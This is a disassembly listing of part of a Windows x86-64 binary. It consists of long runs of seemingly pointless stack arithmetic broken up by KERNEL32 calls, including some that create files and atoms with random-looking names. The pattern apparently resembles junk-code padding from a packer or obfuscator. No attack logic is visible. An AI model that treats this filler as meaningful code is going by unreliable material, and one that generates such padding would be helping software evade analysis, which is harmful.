mov dword [rsp + 0x9358], eax
mov eax, dword [rsp + 0x9a04]
movzx ecx, al
mov eax, dword [0x1402ad6b0]
shl eax, cl
mov dword [rsp + 0xcef4], eax
movzx eax, byte [rsp + 0x859]
mov byte [rsp + 0x87a], al
movzx eax, word [rsp + 0x36a4]
mov rcx, qword [rsp + 0x1a848]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3758], ax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd018]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc810], eax
mov eax, dword [rsp + 0xc93c]
mov dword [rsp + 0xda78], eax
mov rax, qword [rsp + 0x19d98]
mov ecx, dword [rsp + 0xd648]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcfc0], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [rsp + 0x8128]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad874], eax
lea rcx, [rsp + 0x1a2d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2330], ax
movzx eax, byte [0x1402acbf3]
mov rcx, qword [rsp + 0x1a4f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7dc], al
mov rax, qword [rsp + 0x1a818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a118]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3a04], ax
lea rax, [rsp + 0x682]
mov qword [rsp + 0x1a958], rax
mov eax, dword [rsp + 0x9358]
mov ecx, dword [rsp + 0xd4c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd324], eax
mov eax, dword [rsp + 0xb984]
mov dword [rsp + 0xda7c], eax
movzx eax, byte [rsp + 0x7dd]
mov rcx, qword [0x1402bf500]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x833], al
movzx eax, word [rsp + 0x3a1c]
movzx ecx, word [rsp + 0x38a4]
imul eax, ecx
mov word [rsp + 0x3664], ax
lea rax, [rsp + 0xa050]
mov qword [0x1402bf480], rax
lea rcx, str.KUtjo20I_EZwb.GE4Hc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3a78], ax
mov eax, dword [rsp + 0xd004]
mov dword [rsp + 0xda80], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd7ec], eax
mov eax, dword [rsp + 0xd008]
mov ecx, dword [0x1402bf6e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd800], eax
mov edx, 0x2335b2
mov rcx, qword [rsp + 0x1a530]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd7ec], eax
mov rax, qword [rsp + 0x1a420]
mov ecx, dword [rsp + 0xd3cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xbf84], eax
movzx eax, word [rsp + 0x370c]
mov rcx, qword [rsp + 0x1a930]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x39cc], ax
movzx eax, byte [rsp + 0x7b4]
mov byte [rsp + 0x87b], al
mov rax, qword [rsp + 0x1a2f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19d98]
mov qword [rsp + 0x1a960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a960]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd800], eax
mov eax, dword [0x1402ad6d4]
mov ecx, dword [rsp + 0xcf50]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a5e0]
mov dword [rcx], eax
lea rax, [rsp + 0xd9f0]
mov qword [rsp + 0x1a968], rax
mov rcx, qword [rsp + 0x198b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xc330]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf5d8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.2VZGbDUKewdTY4glo1STmqakPzf6k
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a970], rax
mov rax, qword [rsp + 0x1a1e8]
mov ecx, dword [0x1402ad6fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a270]
movzx eax, byte [rax]
mov byte [rsp + 0x87c], al
movsx eax, word [rsp + 0x389c]
movsx ecx, word [rsp + 0x2f94]
and eax, ecx
mov word [rsp + 0x36e4], ax
movzx eax, byte [rsp + 0x865]
mov rcx, qword [rsp + 0x1a918]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x580], al
movzx eax, word [rsp + 0x3698]
movzx ecx, word [rsp + 0x3a20]
sub eax, ecx
mov word [rsp + 0x20d0], ax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa960]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f54], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xda84], eax
movzx eax, byte [rsp + 0x865]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x872], al
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad844], ax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x873c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a888]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xda88], eax
mov rax, qword [rsp + 0x1a808]
mov ecx, dword [0x1402ad740]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce6c], eax
mov eax, dword [rsp + 0xd330]
mov ecx, dword [rsp + 0xda14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa478], eax
movzx eax, word [rsp + 0x3910]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1a8e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7ca]
mov rcx, qword [rsp + 0x1a840]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x81b], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd350], eax
mov eax, dword [rsp + 0x9288]
mov dword [rsp + 0xda8c], eax
mov eax, dword [0x1402ad730]
mov rcx, qword [rsp + 0x1a178]
mov qword [rsp + 0x1a978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a978]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd870], eax
movsx eax, word [rsp + 0x326c]
movsx ecx, word [rsp + 0x3694]
or eax, ecx
mov word [0x1402ad878], ax
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x87d], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd458], eax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf500]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x45b], al
movzx eax, word [rsp + 0x37a4]
mov word [rsp + 0x3a7c], ax
mov eax, dword [rsp + 0xd528]
mov ecx, dword [rsp + 0xd08c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a570]
mov dword [rcx], eax
mov eax, dword [0x1402ad868]
mov ecx, dword [rsp + 0xba78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc400], eax
mov rax, qword [rsp + 0x1a738]
mov ecx, dword [rsp + 0xda1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc0d0], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xa280]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd2b0], eax
mov eax, dword [rsp + 0x9c40]
mov dword [rsp + 0xda90], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x388c]
add eax, ecx
mov word [rsp + 0x39e0], ax
mov rcx, qword [rsp + 0x1a770]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd7c8], eax
mov rax, qword [rsp + 0x1a4f0]
movzx eax, byte [rax]
mov byte [0x1402bf47c], al
mov rax, qword [rsp + 0x1a3a8]
mov rcx, qword [rsp + 0x19e68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcec8], eax
lea rcx, str.TyC_H7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3a80], ax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov dword [rsp + 0xda94], eax
mov rax, qword [rsp + 0x1a5e0]
mov rcx, qword [rsp + 0x19c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xda7c], eax
mov eax, dword [rsp + 0xcce4]
mov ecx, dword [rsp + 0xd514]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81d0], eax
movzx eax, byte [rsp + 0x7ee]
movzx ecx, byte [rsp + 0x795]
sub eax, ecx
mov byte [rsp + 0x7c7], al
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36f0]
sar eax, cl
mov word [rsp + 0x24e8], ax
movzx eax, byte [rsp + 0x4ab]
mov byte [rsp + 0x87e], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a8a8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19dd0]
mov word [rcx], ax
mov rax, qword [0x1402bf4e0]
mov ecx, dword [rsp + 0xd7c4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x1402bf480]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd714]
mov dword [rsp + 0xda98], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3714]
shl eax, cl
mov word [rsp + 0x2d04], ax
lea rax, [0x1402acc4a]
mov qword [rsp + 0x1a980], rax
mov rcx, qword [rsp + 0x19a38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xbb0c]
mov ecx, dword [rsp + 0xbf30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6ec], eax
mov eax, dword [rsp + 0xa25c]
mov ecx, dword [rsp + 0xc5f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8a4], eax
movzx ecx, word [rsp + 0x35d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3a84], ax
mov eax, dword [rsp + 0x8f44]
mov ecx, dword [rsp + 0xd0cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb040], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd124]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x273]
mov byte [rsp + 0x87f], al
movzx eax, word [0x1402ad76c]
movzx ecx, word [rsp + 0x367c]
add eax, ecx
mov word [0x1402bf5b8], ax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xbac8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1a610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov ecx, dword [0x1402bf55c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f14], eax
mov eax, dword [rsp + 0xd8e4]
mov dword [rsp + 0xda9c], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb958]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8578], eax
mov rax, qword [rsp + 0x19e90]
mov rcx, qword [rsp + 0x1a518]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb6e8], eax
movsx eax, byte [rsp + 0x6ff]
movsx ecx, byte [rsp + 0x684]
sub eax, ecx
mov rcx, qword [rsp + 0x1a220]
mov byte [rcx], al
movsx eax, word [rsp + 0x326c]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x38fc], ax
movzx eax, byte [rsp + 0x7cb]
mov byte [rsp + 0x880], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3968]
xor eax, ecx
mov word [0x1402ad87c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x1a680]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b50], eax
mov eax, dword [rsp + 0xd2a8]
mov dword [rsp + 0xdaa0], eax
mov rax, qword [rsp + 0x19fb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7f8]
sar eax, cl
mov byte [rsp + 0x861], al
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov rcx, qword [0x1402bf4e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x20e4], ax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xdaa4], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xd6f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf08], eax
mov rax, qword [rsp + 0x1a780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb368], eax
mov rax, qword [rsp + 0x1a538]
mov ecx, dword [rsp + 0xda18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf490]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc4b], al
movzx eax, word [rsp + 0x2524]
mov word [rsp + 0x3a88], ax
mov rax, qword [rsp + 0x1a888]
mov rcx, qword [rsp + 0x1a968]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd588], eax
mov eax, dword [0x1402ad768]
mov ecx, dword [rsp + 0xd7b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x838c], eax
mov rax, qword [rsp + 0x1a8a8]
movzx eax, word [rax]
mov word [rsp + 0x3a8c], ax
mov rax, qword [rsp + 0x1a1a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19c88]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a848]
movzx eax, word [rax]
mov rcx, qword [0x1402bf570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e60], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55a]
sub eax, ecx
mov byte [rsp + 0x7c1], al
movzx ecx, word [rsp + 0x397c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d8], ax
mov eax, dword [0x1402ad644]
mov ecx, dword [rsp + 0xd764]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x80b4], eax
mov eax, dword [rsp + 0xd6c8]
mov rcx, qword [rsp + 0x1a780]
mov qword [rsp + 0x1a988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a988]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402bf5a0], eax
mov eax, dword [rsp + 0xd33c]
mov dword [rsp + 0xdaa8], eax
mov rax, qword [rsp + 0x1a720]
mov rcx, qword [0x1402bf740]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xda58], eax
lea rax, [rsp + 0xd5d8]
mov qword [rsp + 0x1a990], rax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0x857]
sar eax, cl
mov rcx, qword [rsp + 0x1a218]
mov byte [rcx], al
movzx eax, word [rsp + 0x3968]
imul eax, eax, 0x1b2
mov word [rsp + 0x36bc], ax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdaac], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov dword [rsp + 0xdab0], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbb44], eax
mov rax, qword [rsp + 0x1a3e0]
mov rcx, qword [rsp + 0x1a760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x1a070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd124]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad6a0], eax
lea rcx, [rsp + 0x2afa0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x382c], ax
movzx eax, byte [rsp + 0x7a2]
mov byte [rsp + 0x881], al
mov rax, qword [rsp + 0x199d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x86a]
sub eax, ecx
mov byte [rsp + 0x7db], al
movsx eax, word [rsp + 0x373c]
movsx ecx, word [0x1402bf630]
add eax, ecx
mov word [rsp + 0x2f5c], ax
mov rax, qword [rsp + 0x1a5f0]
mov eax, dword [rax]
mov dword [rsp + 0xdab4], eax
mov rax, qword [rsp + 0x1a780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd18c], eax
movzx eax, byte [rsp + 0x7cd]
movzx ecx, byte [rsp + 0x7a2]
and eax, ecx
mov byte [rsp + 0x2a9], al
mov rcx, qword [rsp + 0x1a6c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x387c]
movzx ecx, word [rsp + 0x30ac]
imul eax, ecx
mov word [rsp + 0x381c], ax
mov eax, dword [rsp + 0xd364]
mov dword [0x1402bf478], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x97d4], eax
mov eax, dword [rsp + 0xd190]
mov dword [rsp + 0xdab8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x19e18]
mov ecx, dword [rsp + 0xaa10]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd17c], eax
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
mov word [rsp + 0x3a90], ax
movzx eax, byte [rsp + 0x859]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x84f], al
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd734], eax
mov eax, dword [rsp + 0xd894]
mov rcx, qword [0x1402bf638]
mov qword [rsp + 0x1a998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a998]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa93c], eax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa430]
shr eax, cl
mov dword [rsp + 0xd9fc], eax
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xcd98]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad880], eax
mov eax, dword [rsp + 0xd598]
mov dword [rsp + 0xdabc], eax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2f5c], ax
movsx eax, byte [rsp + 0xf5]
movsx ecx, byte [rsp + 0x840]
add eax, ecx
mov byte [rsp + 0x7ab], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
movzx eax, byte [rsp + 0x7b4]
mov byte [rsp + 0x882], al
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xdac0], eax
mov rax, qword [rsp + 0x1a5a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x398c], ax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov dword [rsp + 0xdac4], eax
mov rax, qword [rsp + 0x19d20]
mov rcx, qword [rsp + 0x1a038]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb6a0], eax
lea rax, [rsp + 0x32a4]
mov qword [rsp + 0x1a9a0], rax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402bf690], al
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd078]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a0b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc770]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd244], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x1a518]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9404], eax
mov eax, dword [rsp + 0xdaa0]
mov ecx, dword [rsp + 0xd79c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov byte [rsp + 0x883], al
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3834]
or eax, ecx
mov word [rsp + 0x1d38], ax
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0xd5f0]
mov rcx, qword [rsp + 0x19ab0]
mov qword [rsp + 0x1a9a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a9a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd4ec], eax
lea rax, [rsp + 0xd720]
mov qword [rsp + 0x1a9b0], rax
lea rax, [rsp + 0x36f4]
mov qword [0x1402bf470], rax
movzx ecx, word [rsp + 0x3790]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3954], ax
mov rcx, qword [rsp + 0x19ad8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.eu75aHwBheFTuUIVCo5VGQiNu1pKL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a9b8], rax
movsx eax, byte [rsp + 0x7e5]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x87e], al
movzx eax, byte [rsp + 0x395]
mov byte [rsp + 0x884], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd50], eax
movzx eax, word [rsp + 0x1b64]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x38f4], ax
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ed0]
mov qword [rsp + 0x1a9c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a9c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd2bc], eax
mov eax, dword [rsp + 0xbac8]
mov ecx, dword [rsp + 0xd500]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ebc], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb164], eax
mov eax, dword [rsp + 0xd1d8]
mov dword [rsp + 0xdac8], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd710]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5fc], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c4]
imul eax, ecx
mov word [rsp + 0x22d0], ax
mov rax, qword [rsp + 0x1a868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d3]
sub eax, ecx
mov byte [0x1402bf6b0], al
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov dword [rsp + 0xdacc], eax
mov rax, qword [rsp + 0x19cc8]
mov rcx, qword [rsp + 0x1a210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc770], eax
mov eax, dword [rsp + 0xda04]
mov ecx, dword [rsp + 0xcb44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc878], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x1a458]
mov rcx, qword [rsp + 0x1a420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc8f4], eax
movzx eax, byte [rsp + 0x818]
mov byte [rsp + 0x885], al
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
movzx ecx, word [0x1402ad6bc]
add eax, ecx
mov word [rsp + 0x3a24], ax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b1], al
movzx eax, word [rsp + 0x371c]
mov word [rsp + 0x3a94], ax
lea rax, [rsp + 0xced8]
mov qword [0x1402bf468], rax
mov rax, qword [rsp + 0x19cf0]
mov rcx, qword [rsp + 0x19c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a450]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7b3]
movzx ecx, byte [rsp + 0x22d]
add eax, ecx
mov byte [rsp + 0x93], al
lea rcx, str.QRAWjHf.T2ufGs_Zydh8j
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x399c], ax
movzx eax, word [rsp + 0x39a0]
mov rcx, qword [0x1402bf730]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x39e4], ax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a108]
mov qword [rsp + 0x1a9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a9c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xbdd8], eax
mov eax, dword [rsp + 0xafcc]
mov dword [rsp + 0xdad0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xd448]
mov ecx, dword [0x1402bf4c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a740]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd760]
mov dword [rsp + 0xdad4], eax
movzx eax, byte [rsp + 0x809]
mov rcx, qword [rsp + 0x1a660]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x875], al
lea rdx, [rsp + 0x2c158]
mov rcx, qword [rsp + 0x1a658]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xda50], eax
mov rax, qword [rsp + 0x1a7c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x369c]
or eax, ecx
mov word [0x1402ad848], ax
mov eax, dword [rsp + 0xd90c]
mov ecx, dword [rsp + 0xd588]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd884], eax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov dword [rsp + 0xdad8], eax
mov rax, qword [0x1402bf6c8]
mov rcx, qword [rsp + 0x1a070]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc888], eax
mov rax, qword [rsp + 0x1a740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb21c], eax
mov eax, dword [rsp + 0xd254]
mov ecx, dword [rsp + 0xcee0]
